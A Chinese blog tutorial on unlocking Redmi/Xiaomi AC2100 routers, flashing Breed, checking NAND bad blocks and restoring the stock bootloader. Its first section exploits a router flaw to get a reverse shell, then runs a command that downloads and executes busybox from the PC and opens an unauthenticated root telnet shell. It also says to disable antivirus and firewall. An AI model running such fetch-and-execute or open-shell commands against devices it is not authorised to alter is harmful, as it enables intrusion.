红米/小米AC2100刷入r3g breed以及恢复官方boot 查内存坏块详细教程

1、首先说明,如果你现在用的是openwrt固件,boot分区可能有锁,建议更新最新源码编译的openwrt(新源码编译的openwrt已解除boot分区锁)。
2、如果还没刷机(用的官方固件),可以在本帖步骤“二、刷入r3gbreed”开头查坏块。如果你已经刷过机,查坏块方法详见本帖“三、刷入breed后续"。
3、lintel的专用pb-boot已出,刷入方法在“pb-boot-rm2100-Readme.txt”中。lintel的pb-boot链接http://downloads.pangubox.com:6380/lintel/Redmi_AC2100/ 

一、通过漏洞打开路由telnet
1:在开始菜单-设置-程序-程序和功能-启用和关闭Windows功能  勾选telnet client(或telnet 客户端)
2:从“控制面板\网络和 Internet\网络连接”把你的所有不相关的网络接口都禁掉包括虚拟机接口,修改连接路由器的网口地址为192.168.31.177,子网掩码255.255.255.0,默认网关192.168.31.1。
3:关闭所有杀毒软件,关闭防火墙,解压好刷机工具中的breed教程完整版.zip,
打开/rm2100文件夹,先安装文件夹里的WinPcap_4_1_3.exe或者npcap-0.9991.exe,
之后打开 开启telnet命令.txt 和 一键开启telnet.bat(不用管理员运行)
提前复制好开启telnet命令.txt里面的内容
4:进入路由器,确保路由地址为192.168.31.1,修改好pppoe的账号密码。
账号:123
密码:123
把你的路由器按照如下连接
203528r72g2zu5jz05x02g

5:执行一键开启telnet.bat,按提示操作,直到反弹shell窗口显示收到数据。
6:把前面复制的

cd /tmp&&wget http://192.168.31.177:8081/busybox&&chmod a+x ./busybox&&./busybox telnetd -l /bin/sh

粘贴到反弹shell窗口(右键为粘贴),回车运行
至此,路由器telnet功能成功开启卡反弹shell等问题大概率是电脑系统、防火墙、杀毒软件造成的,如果开telnet你这一步没有成功,就彻底关掉电脑防火墙和杀毒软件(系统建议用win10正版最新),
然后删掉之前文件,关闭所有进程重新解压breed教程完整版.zip再从头走一遍。
注意:路由telnet开启成功后记得把WAN-LAN之间的网线(上面接线图棕色线)拔掉,否则刷入breed后易造成网络风暴。
二、刷入r3gbreed
【从原厂固件】

Win+R ,输入cmd回车打开命令行(也可以用putty或xshell),

telnet 192.168.31.1

cd /tmp

查看坏块的命令是(分析见下文)

dmesg | grep NAND

dmesg | grep '[B|b]ad.*block'

dmesg | grep eraseblock

查看路由当前分区的命令是

cat /proc/mtd

214122h7ibac0dvkoojx9y

想要备份路由原厂分区的,可以先在电脑以管理员权限运行/rm2100中的 ftpdmin.exe之后回到telnet命令行
例如:想备份mtd1分区,就在命令行输入

./busybox nanddump -f mtd1.bak /dev/mtd1

./busybox ftpput 192.168.31.177 mtd1.bak ./mtd1.bak

备存文件存在你rm2100文件所在的硬盘根目录。不想备份也可以,我给的文件中有mtd1和eeprom的备份。
(注意此时“Task_文件服务器”进程是否还在运行,没运行的再执行一下/rm2100中的httpserver.bat)备份之后,执行

wget http://192.168.31.177:8081/breed-mt7621-xiaomi-r3g.bin&&nvram set uart_en=1&&nvram set bootdelay=5&&nvram set flag_try_sys1_failed=1&&nvram commit

mtd -r write breed-mt7621-xiaomi-r3g.bin Bootloade

将电脑改为自动获取ip,等待路由器重启(当电脑获取到ip或者路由只有一个蓝灯亮时,breed引导官方固件成功)。
建议等待5分钟后拔电,用牙签按住reset键再插电,等蓝灯闪烁,松开reset键,浏览器访问192.168.1.1即可进入breedweb界面。
首次进入breed记得先备份下编程器固件和eeprom。至此,路由器成功刷入breed。
【从padavan】

100701xu5192uakua1g0ui
用winscp将breed-mt7621-xiaomi-r3g.bin 传入padavan的/tmp文件夹,
(winscp 就是路由器的可视化文件管理器,跟ftp的用法一样,填好路由ip地址,账号密码就登进去了,然后打开/tmp,把breed文件从电脑拖进去)

xshell、putty或telnet命令行登录padavan,执行

cd /tmp

备份:

cat /proc/mtd

085642ptvnyvyn6514bcrh

cat /dev/mtdblock0 > /tmp/mtd0.bak

用winscp将/tmp/mtd0.bak文件传回电脑。
刷写breed:

mtd_write -r write breed-mt7621-xiaomi-r3g.bin Bootloader

将电脑改为自动获取ip,等待路由器重启(当电脑获取到ip或者路由只有一个蓝灯亮时,breed引导padavan固件成功)。
建议等待5分钟后拔电,用牙签按住reset键再插电,等蓝灯闪烁,松开reset键,浏览器访问192.168.1.1即可进入breedweb界面。
首次进入breed记得先备份下编程器固件和eeprom。
至此,路由器成功刷入breed。

三、刷入breed后续
如果你刷完后进了小米官方的系统或者进不了系统,可以尝试进入breed后增加环境变量 xiaomi.r3g.bootfw,值为2 。
部分红米路由从breed刷入padavan会卡33%校验失败,经过我的研究,有这种情况的路由闪存不太寻常。     
确认闪存坏块分为两步
第一步,翻路由的系统日志或内核日志,一般坏块信息在路由刚启动时的日志附近。如老毛子:
231747ykxqteb1tx83tbex

第二步,telnet(或使用xshell、putty)登录进路由,依次执行

dmesg | grep NAND

dmesg | grep '[B|b]ad.*block'

dmesg | grep eraseblock

会有四种情况:  
1、执行指令没有返回任何信息,翻日志也没找到任何闪存相关信息,重启下路由再找一次。
2、执行后返回信息中有ESMT字样,翻日志也没有显示坏块信息的是ESMT闪存,没有检测到坏块。
3、较为正常东芝闪存返回信息:坏块768。但刷固件一切正常。目前我刷过几十次固件,坏块暂时还没有增加。
161618cy9w2zzyngshmnke
4、是东芝闪存而且有问题的路由返回信息如图,坏块90+768,根据调查“90”这个数字还有其他值,推测跟东芝闪存体质有关。
东芝和ESMT用的都是SLC闪存(寿命最长的闪存),而且不少机器只开telnet,不刷固件或breed也出现坏块,所以坏块应该不是刷机造成的,是东芝闪存生产出来自带的(质量参差不齐)。 161241pntdnqvo4onnsnnz
目前有两种推测:
(1)坏块位置比较靠后,官方固件只用到了前面一部分如kernel0,所以官方固件不影响使用。
(2)官方和op固件屏蔽闪存坏块的机制较为完善(类似u盘量产的时候屏蔽坏块),所以官方和部分op固件可以正常使用。
padavan固件会用到有的坏块区域,如kernel1,所以有的机器不能刷入padavan,或者刷入后使用有问题。
原厂bootloader关于badblock、ECC、NAND的相关描述,自行参考
140519j88xxob8ozjz8kon
140519pq339n1i7w7q0ii6

214107lhtet7egqlzltyyz

目前已知红米路由闪存有东芝和ESMT两种,breed均正常启动。
082549mphs0eonh7zwmims     082350pwe6vamyev6b5d7e

四、刷回官方bootloader方法
我写这个教程的原因之一就是恢复官方boot的操作经验证可行,如果你不想用第三方固件,要刷回官方固件,稳妥的操作顺序是先恢复官方boot引导文件,再用官方救砖工具一键刷回。
1、从breed  

根据最新测试,从breed界面“固件更新”-“Bootloader”选择官方bootloader文件直接上传并刷写可行。
官方bootloader文件位置:
打开/rm2100,
红米用bootloader-redmi-ac2100.bin
小米用bootloader-xiaomi-ac2100.bin
路由重启后用官方救砖工具可刷回原厂。具体步骤和资源请参考:
小米路由官方救砖工具使用说明 https://www.xiaomi.cn/post/5289432 。
小米路由官方资源下载首页 http://miwifi.com/miwifi_download.html 。
2、从padavan固件:
【红米】将/rm2100文件夹中的bootloader-redmi-ac2100.bin通过winscp上传到路由/tmp目录下,
xshell、putty或telnet命令行登进老毛子,执行

mtd_write -r write /tmp/bootloader-redmi-ac2100.bin Bootloader

【小米】将bootloader-xiaomi-ac2100.bin通过winscp上传到路由/tmp目录,执行

mtd_write -r write /tmp/bootloader-xiaomi-ac2100.bin Bootloader

路由重启后用官方救砖工具可刷回原厂。具体步骤和资源请参考:
小米路由官方救砖工具使用说明 https://www.xiaomi.cn/post/5289432 。
小米路由官方资源下载首页 http://miwifi.com/miwifi_download.html 。
3、从openwrt固件:
101906rh1b2ib2csqis8e8
由于部分op的boot分区有锁,建议最好还是先从breed刷入老毛子再按上文恢复官方
如果想试试,就按上文老毛子的方法导入bootloader文件,执行
【红米】

mtd -r write /tmp/bootloader-redmi-ac2100.bin Bootloader

【小米】

mtd -r write /tmp/bootloader-xiaomi-ac2100.bin Bootloader

五、小米/红米AC2100专用pb-boot
lintel的专用pb-boot已出,刷入方法在“pb-boot-rm2100-Readme.txt”中。lintel的pb-boot链接http://downloads.pangubox.com:6380/lintel/Redmi_AC2100/ 

文章版权声明

 1 原创文章作者:汇维网,如若转载,请注明出处: http://www.52hwl.com/1087.html

 2 温馨提示:软件侵权请联系469472785#qq.com(三天内删除相关链接)资源失效请留言反馈

 3 下载提示:如遇蓝奏云无法访问,请修改lanzous(把s修改成x)

 免责声明:本站为个人博客,所有软件信息均来自网络 修改版软件,加群广告提示为修改者自留,非本站信息,注意鉴别

发表评论

登录后才能评论